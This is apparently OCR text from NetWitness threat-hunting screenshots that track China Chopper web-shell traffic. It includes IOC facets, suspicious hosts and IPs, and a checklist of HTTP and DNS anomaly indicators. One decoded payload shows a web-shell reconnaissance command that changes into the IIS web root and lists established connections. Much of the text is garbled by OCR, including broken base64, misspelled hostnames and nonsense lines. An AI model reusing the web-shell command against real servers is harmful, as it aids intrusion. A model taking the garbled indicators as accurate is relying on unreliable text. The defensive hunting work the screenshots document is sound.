hostname consecutive consonants (5,821) - ssl over non-standard port (3,1
header contains port (1,454) - http over non-standard port (1,448) - http p
organizational name (45) - http1.1 without server header (38) - outbound ¢

File Analysis [analysis.file] (20 of 20+ values) L

js eval no docwrite (59) - common document formats (14) - exe filetype (9)
- exe abnormal e_res1_4 (4) - exe abnormal e_res1_3 (4) - exe abnormal e |

... show more

Host ID [alias.host] (20 of 20+ values) L

2NhAra2C . 1h12. 46040212 A61ha2d42010N0 (2 8N cvnicamah? (1 ©90)  ©

-
12
o

Lo

Service Type [service] (1 value) L
?i HTTP (2,153) I

TCP Destination Port [tcp.dstport] (7 values) £
8080 (1,430) - 80 (hitp) (698) - 5000 (16) - 2869 (2) - 57805 (1) - 49529 (1) -

Indicators of Compromise [ioc] (6 values) je

E Network Concentrator [IERPEITENEE ¥ Query

c

2021 % | 06:55:00 (+09:00)

B Profile ® EJ Hunting !

service = 80 ioc = 'china chopper'

3

-
12
o

€

Service Type [service] (1 value) L
HTTP (€)

TCP Destination Port [tcp.dstport] (1 value) 2
80 (http) (6)

Indicators of Compromise [ioc] (1 value) L

schoolbell malware (535) - rekaf_beacon (535) [china chopper(ﬁ)l apach

Enablers of Compromise [coc] (4 values) b

html hidden post (3) - html iframe external reference (1) - html hidden spa

Session Analysis [analysis.session] (18 values) L

first carve not dns (2,103) - first carve (2,103) - session size 0-5k (2,064) - n
traffic (21) - session size 50-100k (17) - session size 10-50k (12) - session si

Service Analysis [analysis.service] (20 values) L

http1.1 without referer header (2,087) - http1.1 without accept header (2,0
server header (38) - http1.1 server location redirect (35) - nginx http server
response status ends with space (5) - content-disposition filename contain

File Analysis [analysis.file] (13 values) 2

js eval no docwrite (57) - exe filetype (5) - common document formats (5) -
before 1999 (1) - exe extension but not exe filetype (1) - exe abnormal e_m

Host ID [alias.host] (20 values) 2

sv-us-web2 (1,157) - It-us-rlee01 (639) - www.xjjboss.com (535) - It-us-rlee

- devawshlldmo.com (6) - www.pconsult.com (5) - www.micrasoft.com (5) -

Source IP Address [ip.src] (18 values) ©

192.168.31.24(1,151) - 192.168.70.82 (639) - 192.168.31.60 (279) - 192.168

€ €

€

<o

<V

:{ china chopper (6) |

Session Analysis [analysis.session] (7 values) L

watchlist port (6) - inbound traffic (6) - session size 0-5k (4) - ratio medium

Service Analysis [analysis.service] (2 values) L

http1.1 without accept header (6) - hostname consecutive consonants (6)

File Analysis [analysis.file] (1 value) L

js eval no docwrite (6)

Host ID [alias.host] (1 value) §el

dev.wshlldmao.com (6)

source IP Address [ip.src] (1 value) 2
223.25.233.248 (6)

Destination IP address [ip.dst] (1 value) 2
192.168.31.20 (6)

Action [action] (1 value) L

post (6) L

File Type [filetype] (1 value) 2




B Network Concentrator

¥ Query = E Profile = EJ Hunti

< service =80 oc = 'china chopper'
2021 92 06:55:00 (+09:00)

PEN Service Type [service] (1 value) je

HTTP (6)
rce . TCP Destination Port [tcp.dstport] (1 value) 2
T 80 (http) (6)
< Indicators of Compromise [ioc] (1 value) je

china chopper (6)
@ Session Analysis [analysis.session] (7 values) L

watchlist port (6) - inbound traffic (6) - session size 0-5k (4) - ratid medium
@ Service Analysis [analysis.service] (2 values) L

http1.1 without accept header (6) - hostname cops@cutive consonants (6)
o File Analysis [analysis.file] (1 value) L

js eval no docwrite (6)
— Host ID [alias.host] alye] L

dev.wshlldmo.com|(

Ip.Sr a1 O

© Source IP Address [ip.src] | )

223.25.233.248 (6)
&> Destination IP address [ip.dst]

192.168.31.20(6)

Action [action] (1 va

post (6)

File Type [filetype] (1 v:

RSA

COLLECTION Tl...

02y

[202105:47:...

Investigate

EVENTS

- Download PC
Anabyst Actlvit...

JIY 3R 1 dGFUZGFYZEY1AHEL
ZIVLZWSBczail

SudmVydC5GemItOmF zZTYa
SOURCE IP A... DESTINATION.. ©

dHB1dDEFST11LINGYW!
192.168,31.20

DECODED TEXT

ORIGINAL SELECTION

Y2QglL2QelkMEXGIuZXRwdW.ed3d 3cm9vd FwilmSidH
NOYXQelWFulHwgZmluZCAIRVNUQUIMSVNIRUQiIm
VjaGB8gW1NdJImNkJmVjaGBgwWovd

BASES4 FORMAT
cd /d “C:hinetpubwwwr ooty &netstat -an | find
"ESTABLISHED"&echo [S]&cd&echo [E]

URL FORMAT

¥20eL20elkMAaXGluL X RwdWlcd3d 3cm$vdFwilmSldH
NNV el WEIHuwo7mi 70 ATRVNITIONIMSUNIERI IO o

¥2QgL 2Qg TkMEXGLuZXRwdW] cd3dIcmIvdFwiImS1dHNBYXQgLWF uTHWEZmluZCAL

RVNUQUIMSVNIRUQ1 Imi aGBEW1Nd Imhk ImvjaGEghevd

.1 2668 0K
ontrol: private
Connection: close
Da Thu, 11 Feb
rver: Mic
Content-Length:
Content
H-ASpPN:
All results loaded.

-»| TCP 172,
TCP .3e.

1of & events

48 ESTABLISHED
ESTABLISHED

215 ¢ o] Ef

@ | DISPLAY COMPRESSED PAYLOADS

ALIAS HOST.HASH

9’\5 FBAE4FCD17B5FDBO7AATFSBABO2ZCYDCS2AA

wshlldmo

L
com
ANA

ve consonants

roups of four cons

rposes like poin
or signaling a mali

FEED.NAME

H|E} Cf| o] &

X NETWITNESS



methods —
strange sequence —

headers —
# headers —

user-agent —
old j
short
bad
host —
directtoIP’EI
port number
strange

DGA
dynamic DNS referrer —

missing -
content-length —
missing j
wrong body ————
specific indicators —

protocol and cipher
self-signed certificate

interval

dynamic DNS !

tunneling
large number of subdomains
large number of 1 subdomain
lots of NULL, TXT records
file transfer

BAD
@ client/server info
session size

HES 3 9

bytes sent/receive ratio

entropy ratios

username/password
C2

lots STOR/RETR
—— TCP SYN beacon

tunneling
file transfer

other protocols
large ICMP echo request/reply

e
o
| E—

El
o

=—difference in request/reply padding

methods

- strange sequences
URI
—— encoded query string
—— short filename scripts
headers
— # headers

— host
"L directto IP

— user-agent

old
bad
short

— referrer
missing
strange

— accept-language

— content-length

body wrong
L specific indicators

protocol and cipher
self-signed certificate

recursive=BAD

BAD
client/server info
session size
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Event Reconstruction Ewvent Reconstruction
Concentrator 438958720 Network Session 10.127.53.223:51623 120.50.131.112:80 80 2016-07-06717:26:30.662 Comcentrasar 311097 Metesrk Sessen T0IDIAT: IETA IBLSTIE: 1M 110 2OTRE4 1411004 T m
| Archives 7z,.cab,.gz. .80, rar, st Sz tar, 2.2, 2IpX
W feque ponse > [ Top To Boom = [ Best Reconstructor B iy i Ampense = (B Top Tobeman & e Asnnaamin T Amiaey © K Gy e in- b Tk ‘ o !
Jm . ‘ r v = Audio anc,.aff,.au, M, mp3,.mpa,.ra, . way,. wma
BEN Aol op A AN 23 L @ Prerec Feelood “upd sl ey book el (oers Sered o S8 - AR S [ BitTorrent torrent
2117} Wk WUE B dun way Te: wupariEigymecom
Ry ": :‘:““""‘"“""':“""‘""' Documents doc,.0dl,.0d9..0dp..0ds,.0dt,.pdl,.pPs,.pPL.PPLX. o, .wks, wpa, XIS, XIsx
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